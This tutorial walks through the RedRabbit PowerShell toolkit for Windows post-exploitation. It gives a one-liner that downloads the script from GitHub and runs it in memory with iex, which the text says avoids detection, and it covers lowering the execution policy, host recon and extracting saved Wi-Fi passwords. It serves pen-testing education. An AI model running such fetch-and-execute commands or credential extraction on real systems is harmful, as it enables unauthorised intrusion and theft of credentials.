Post-Exploitation of Windows Machines using RedRabbit

RedRabbit is an ethical hacking toolkit built for pen-testing and reconnaissance. It can be used to identify attack vectors, brute-force protected files, extract saved network passwords, and obfuscate code. The script run directly in memory, which lessens the chance of being detected.

Step 1: Make Sure You Can Run Scripts

First, open up Windows PowerShell as an administrator. Make sure your PowerShell execution policy allows you to run scripts.

If PowerShell comes back at you with "Restricted," go ahead and set it to RemoteSigned. Then confirm the change by typing Y.

Step 2: Install & Run RedRabbit

To download RedRabbit and run the script without ever having to save it on the hard disk, we use the "Invoke-Expression" (iex for short) command.

C:\>powershell –nop –c “iex(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/securethelogs/RedRabbit/master/RedRabbit.ps1’)”

RedRabbit should immediately run after this.

Step 3: Using RedRabbit

As soon as you run the tool, you should be greeted by RedRabbit's logo and options menu, as seen below. We're going to check out a few of these options to see how they work.

Quick Recon

Let's take a look at the first option, "Quick Recon." Type 1 and then hit Enter. This displays a plethora of information, including system privilege constants. It also shows us the system accounts, which of those accounts have admin privileges, our current network status, installed programs, and the system's firewall rules, allowing us to identify potential vectors of attack.

Password Extraction

RedRabbit also makes it very easy to list the credentials of every saved Wi-Fi network immediately. To use this option, remember you'll have to be running PowerShell as an administrator.

After you rerun RedRabbit with Y and select option 9 for "Password Extraction," you'll be prompted to enter the location of a file you wish to save the credentials to. If you'd prefer to have them printed directly in the PowerShell console, leave it blank.

For privacy reasons the passwords cannot be disclosed.

That was a brief overview of some of the most interesting features of RedRabbit, feel free to check out some of the other ones on your own.

Again, a few of the features still aren't entirely finished. This tool is still in active development and has been updating periodically. In my testing, the clipboard logger (option 18) didn't work and PowerShell crashed every time I tried to use it. So there are still some bugs that have yet to be worked out.